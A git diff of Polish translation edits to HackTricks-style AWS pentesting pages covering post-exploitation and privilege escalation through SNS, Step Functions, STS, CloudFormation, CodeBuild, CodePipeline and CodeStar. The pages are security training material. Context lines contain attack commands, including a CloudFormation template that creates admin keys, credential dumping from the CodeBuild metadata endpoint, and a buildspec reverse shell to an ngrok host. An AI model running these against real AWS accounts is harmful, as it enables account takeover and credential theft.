-W kilku przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które informują o jego obecności w chmurze, może pozostać niezauważony.
+W wielu przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które informują o jego obecności w chmurze, może pozostać niezauważony.
### `sns:DeleteTopic`
@@ -36,7 +36,7 @@ Napastnik mógłby zmodyfikować atrybuty tematu SNS, co potencjalnie wpłynęł
```bash
aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value
```
-**Potencjalny wpływ**: Błędne konfiguracje prowadzące do obniżonej wydajności, problemów z bezpieczeństwem lub zmniejszonej dostępności.
+**Potencjalny wpływ**: Błędne konfiguracje prowadzące do pogorszenia wydajności, problemów z bezpieczeństwem lub zmniejszonej dostępności.
### `sns:Subscribe` , `sns:Unsubscribe`
@@ -45,7 +45,7 @@ Napastnik mógłby subskrybować lub wypisywać się z tematu SNS, potencjalnie
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
```
-**Potencjalny wpływ**: Nieautoryzowany dostęp do wiadomości, zakłócenia w działaniu aplikacji polegających na dotkniętym temacie.
+**Potencjalny wpływ**: Nieautoryzowany dostęp do wiadomości, zakłócenie działania aplikacji polegających na dotkniętym temacie.
### `sns:AddPermission` , `sns:RemovePermission`
@@ -56,9 +56,9 @@ aws sns remove-permission --topic-arn --label
```
**Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji opartych na temacie.
-### `sns:TagResource`, `sns:UntagResource`
+### `sns:TagResource` , `sns:UntagResource`
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów SNS, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
+Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów SNS, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
```bash
aws sns tag-resource --resource-arn --tags Key=,Value=
aws sns untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 0a1bbfdeb..ebafcc94c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -1,8 +1,8 @@
-# AWS - Step Functions Post Exploitation
+# AWS - Post Eksploatacja Funkcji Kroków
{{#include ../../../banners/hacktricks-training.md}}
-## Step Functions
+## Funkcje Kroków
Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź:
@@ -12,13 +12,13 @@ Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź:
### `states:RevealSecrets`
-To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE oraz parametr revealSecrets na true.
+To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE i parametr revealSecrets na true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-Napastnik z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to napastnikowi zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalne sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów.
+Atakujący z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to atakującemu zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalnie sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów.
> [!NOTE]
>
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn
### `states:UpdateMapRun`
-Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, cały przebieg mapy zawiedzie, co bezpośrednio wpłynęłoby na wykonanie maszyny stanów i potencjalnie zakłóciło krytyczne przepływy pracy.
+Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, całe uruchomienie mapy zawiedzie, co bezpośrednio wpłynie na wykonanie maszyny stanów i potencjalnie zakłóci krytyczne przepływy pracy.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
@@ -48,15 +48,15 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING]
-> Ta akcja nie jest wspierana przez **maszyny stanów express**.
+> Ta akcja nie jest wspierana przez **maszyny stanów ekspresowych**.
```bash
aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
```
-- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalna korupcja danych.
+- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych.
### `states:TagResource`, `states:UntagResource`
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
+Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
```bash
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 947eb7475..29af25523 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **Obejście ograniczeń User-Agent z Pythona**
-Jeśli istnieje **ograniczenie dotyczące wykonywania określonych działań w oparciu o agenta użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując:
+Jeśli istnieje **ograniczenie dotyczące wykonywania określonych działań w oparciu o używany agent użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując:
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index 9cf0d9dd2..91c2c4dda 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -1,19 +1,19 @@
-# AWS - Podwyższanie Uprawnień
+# AWS - Eskalacja Uprawnień
{{#include ../../../banners/hacktricks-training.md}}
-## Podwyższanie Uprawnień w AWS
+## Eskalacja Uprawnień w AWS
-Sposobem na podwyższenie swoich uprawnień w AWS jest posiadanie wystarczających uprawnień, aby móc w jakiś sposób uzyskać dostęp do uprawnień innych ról/użytkowników/grup. Łączenie eskalacji, aż uzyskasz dostęp administratora do organizacji.
+Sposobem na eskalację swoich uprawnień w AWS jest posiadanie wystarczających uprawnień, aby w jakiś sposób uzyskać dostęp do uprawnień innych ról/użytkowników/grup. Łączenie eskalacji, aż uzyskasz dostęp administratora do organizacji.
> [!WARNING]
-> AWS ma **setki** (jeśli nie tysiące) **uprawnień**, które mogą być przyznane podmiotowi. W tej książce znajdziesz **wszystkie uprawnienia, które znam**, które możesz wykorzystać do **podwyższania uprawnień**, ale jeśli **znasz jakąś ścieżkę**, która nie została tutaj wspomniana, **proszę podziel się nią**.
+> AWS ma **setki** (jeśli nie tysiące) **uprawnień**, które mogą być przyznane podmiotowi. W tej książce znajdziesz **wszystkie uprawnienia, które znam**, które możesz wykorzystać do **eskalacji uprawnień**, ale jeśli **znasz jakąś ścieżkę**, która nie została tutaj wymieniona, **proszę podziel się nią**.
> [!CAUTION]
> Jeśli polityka IAM ma `"Effect": "Allow"` i `"NotAction": "Someaction"` wskazując na **zasób**... oznacza to, że **dozwolony podmiot** ma **zezwolenie na ROBIENIE WSZYSTKIEGO oprócz tej określonej akcji**.\
> Pamiętaj, że to jest inny sposób na **przyznanie uprawnień uprzywilejowanych** podmiotowi.
-**Strony tej sekcji są uporządkowane według usługi AWS. Tam będziesz mógł znaleźć uprawnienia, które pozwolą Ci na podwyższenie uprawnień.**
+**Strony tej sekcji są uporządkowane według usługi AWS. Znajdziesz tam uprawnienia, które pozwolą Ci na eskalację uprawnień.**
## Narzędzia
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 1306d1181..c318228b8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
### `apigateway:POST`
-Dzięki temu uprawnieniu możesz generować klucze API skonfigurowanych API (na region).
+Dzięki temu uprawnieniu możesz generować klucze API dla skonfigurowanych API (na region).
```bash
aws --region apigateway create-api-key
```
@@ -29,7 +29,7 @@ aws --region apigateway get-api-key --api-key --include-value
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-Dzięki tym uprawnieniom możliwe jest modyfikowanie polityki zasobów API, aby uzyskać dostęp do jego wywołania i nadużyć potencjalnego dostępu, jaki może mieć brama API (np. wywołując podatną lambdę).
+Dzięki tym uprawnieniom możliwe jest modyfikowanie polityki zasobów API, aby uzyskać dostęp do jego wywołania i nadużywać potencjalnego dostępu, jaki API gateway może mieć (np. wywołując podatną lambdę).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE]
> Wymaga testowania
-Napastnik z uprawnieniem `apigateway:UpdateVpcLink` może **zmodyfikować istniejące połączenie VPC, aby wskazywało na inny Load Balancer, potencjalnie przekierowując prywatny ruch API do nieautoryzowanych lub złośliwych zasobów**.
+Atakujący z uprawnieniem `apigateway:UpdateVpcLink` może **zmodyfikować istniejące połączenie VPC, aby wskazywało na inny Load Balancer, potencjalnie przekierowując prywatny ruch API do nieautoryzowanych lub złośliwych zasobów**.
```bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 3ea015788..c3f549bcc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -24,7 +24,7 @@ Na poniższej stronie masz **przykład eksploatacji** z dodatkowym uprawnieniem
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}
-**Potencjalny wpływ:** Privesc do roli usługi cloudformation określonej.
+**Potencjalny wpływ:** Privesc do roli serwisowej cloudformation.
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
@@ -43,7 +43,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
+Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku.
@@ -53,7 +53,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
Atakujący z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack.
-Poniższe wykorzystanie to **wariant**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) wykorzystujący **uprawnienia ChangeSet** do stworzenia stosu.
+Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) wykorzystującą **uprawnienia ChangeSet** do stworzenia stosu.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,17 +79,17 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
-Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
+Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
**Potencjalny wpływ:** Privesc do ról serwisowych cloudformation.
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **wykorzystać już dołączone**, wystarczy zmodyfikować parametr:
+To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **wykorzystać już przypisane**, wystarczy zmodyfikować parametr:
```
--change-set-type UPDATE
```
-**Potencjalny wpływ:** Privesc do roli usługi cloudformation już przypisanej.
+**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już dołączona.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
@@ -99,9 +99,9 @@ Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSe
### `cloudformation:UpdateStackSet`
-Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation.
+Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation.
-**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation.
+**Potencjalny wpływ:** Privesc do dołączonych ról cloudformation.
## Odniesienia
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index acda6af03..366bbde6c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -1,8 +1,8 @@
-# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
+# iam:PassRole, cloudformation:CreateStack,i cloudformation:DescribeStacks
{{#include ../../../../banners/hacktricks-training.md}}
-Atakujący mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak:
+Napastnik mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak:
```json
{
"Resources": {
@@ -62,13 +62,13 @@ aws cloudformation create-stack --stack-name privesc \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2
```
-**Poczekaj kilka minut**, aż stos zostanie wygenerowany, a następnie **pobierz wynik** stosu, w którym **przechowywane są poświadczenia**:
+**Poczekaj kilka minut**, aż stos zostanie wygenerowany, a następnie **uzyskaj wynik** stosu, w którym **przechowywane są dane uwierzytelniające**:
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
--region uswest-2
```
-### References
+### Odniesienia
- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index f7615c457..dcaff44a2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -63,11 +63,11 @@ aws codebuild start-build-batch --project --buildspec-override fi
- `StartBuild` uruchamia pojedyncze zadanie budowania przy użyciu konkretnego `buildspec.yml`.
- `StartBuildBatch` pozwala na uruchomienie partii budów, z bardziej złożonymi konfiguracjami (takimi jak uruchamianie wielu budów równolegle).
-**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **eskalować uprawnienia do dowolnej roli IAM codebuild** poprzez utworzenie działającej.
+Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM Codebuild** poprzez utworzenie działającej.
{{#tabs }}
{{#tab name="Example1" }}
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}
-{{#tab name="Przykład2" }}
+{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
@@ -142,11 +142,11 @@ aws codebuild start-build --project-name reverse-shell-project
> [!WARNING]
> W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**.
-> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania poświadczeń. Będzie to coś takiego jak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania dostępu do poświadczeń. Będzie to coś takiego jak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Dodaj to do URL **`http://169.254.170.2/`** a będziesz mógł zrzucić poświadczenia roli.
-> Ponadto zawiera również **zmienną środowiskową `ECS_CONTAINER_METADATA_URI`**, która zawiera pełny URL do uzyskania **informacji o metadanych kontenera**.
+> Ponadto zawiera również **zmienną środowiskową `ECS_CONTAINER_METADATA_URI`**, która zawiera pełny URL do uzyskania **informacji metadanych o kontenerze**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -184,11 +184,11 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```
-**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild.
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-Jak w poprzedniej sekcji, ale **bez uprawnienia `iam:PassRole`**, możesz nadużywać tych uprawnień, aby **modyfikować istniejące projekty Codebuild i uzyskiwać dostęp do roli, którą już mają przypisaną**.
+Jak w poprzedniej sekcji, ale **bez uprawnienia `iam:PassRole`**, możesz nadużyć tych uprawnień, aby **zmodyfikować istniejące projekty Codebuild i uzyskać dostęp do roli, którą już mają przypisaną**.
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -264,7 +264,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
-**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
### SSM
@@ -275,7 +275,7 @@ Projekt codebuild musi mieć punkt przerwania:
phases:
pre_build:
commands:
-- echo Wejście w fazę pre_build...
+- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
@@ -285,7 +285,7 @@ A następnie:
aws codebuild batch-get-builds --ids --region --output json
aws ssm start-session --target --region
```
-For more info [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Dla uzyskania dodatkowych informacji [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
-**Wpływ:** Bezpośrednie privesc do roli używanej przez pracownika AWS CodeBuild, która zazwyczaj ma wysokie uprawnienia.
+**Wpływ:** Bezpośrednie podniesienie uprawnień do roli używanej przez pracownika AWS CodeBuild, która zazwyczaj ma wysokie uprawnienia.
> [!WARNING]
-> Należy zauważyć, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać
+> Należy pamiętać, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać.
Więcej szczegółów można znaleźć [tutaj](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
-**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 762578a5a..9f764c2cf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -12,13 +12,13 @@ Aby uzyskać więcej informacji na temat codepipeline, sprawdź:
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-Podczas tworzenia pipeline'u kodu możesz wskazać **rolę IAM codepipeline do uruchomienia**, dlatego możesz je skompromitować.
+Podczas tworzenia code pipeline możesz wskazać **rolę IAM codepipeline do uruchomienia**, dlatego możesz je skompromitować.
Oprócz wcześniejszych uprawnień potrzebujesz **dostępu do miejsca, w którym przechowywany jest kod** (S3, ECR, github, bitbucket...)
-Testowałem to, wykonując proces na stronie internetowej, wcześniejsze wskazane uprawnienia to nie List/Get, które są potrzebne do stworzenia pipeline'u kodu, ale do jego utworzenia w sieci będziesz również potrzebować: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+Testowałem to, wykonując proces na stronie internetowej, wcześniejsze wskazane uprawnienia to nie List/Get, które są potrzebne do stworzenia codepipeline, ale do stworzenia go w sieci będziesz również potrzebować: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-Podczas **tworzenia projektu budowy** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę budowy jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować:
+Podczas **tworzenia projektu build** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę build jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować:
.png>)
@@ -32,6 +32,6 @@ Może być możliwe modyfikowanie roli używanej i komendy wykonywanej w codepip
[AWS wspomina](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-> Gdy to API jest wywoływane, CodePipeline **zwraca tymczasowe poświadczenia dla koszyka S3** używanego do przechowywania artefaktów dla pipeline'u, jeśli akcja wymaga dostępu do tego koszyka S3 dla artefaktów wejściowych lub wyjściowych. To API również **zwraca wszelkie wartości sekretne zdefiniowane dla akcji**.
+> Gdy to API jest wywoływane, CodePipeline **zwraca tymczasowe poświadczenia dla koszyka S3** używanego do przechowywania artefaktów dla pipeline, jeśli akcja wymaga dostępu do tego koszyka S3 dla artefaktów wejściowych lub wyjściowych. To API również **zwraca wszelkie wartości sekretne zdefiniowane dla akcji**.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index c473974c4..a51456f5e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
### `iam:PassRole`, `codestar:CreateProject`
-Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę:
+Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonywania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę:
{{#ref}}
iam-passrole-codestar-createproject.md
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
### `codestar:CreateProject`, `codestar:AssociateTeamMember`
-Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember` do uczynienia użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**.
+Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember`, aby uczynić użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**.
```bash
PROJECT_NAME="supercodestar"
@@ -41,7 +41,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
```
Jeśli jesteś już **członkiem projektu**, możesz użyć uprawnienia **`codestar:UpdateTeamMember`**, aby **zaktualizować swoją rolę** na właściciela zamiast `codestar:AssociateTeamMember`.
-**Potencjalny wpływ:** Privesc do polityki codestar. Możesz znaleźć przykład tej polityki w:
+**Potencjalny wpływ:** Privesc do polityki codestar. Przykład tej polityki można znaleźć w:
{{#ref}}
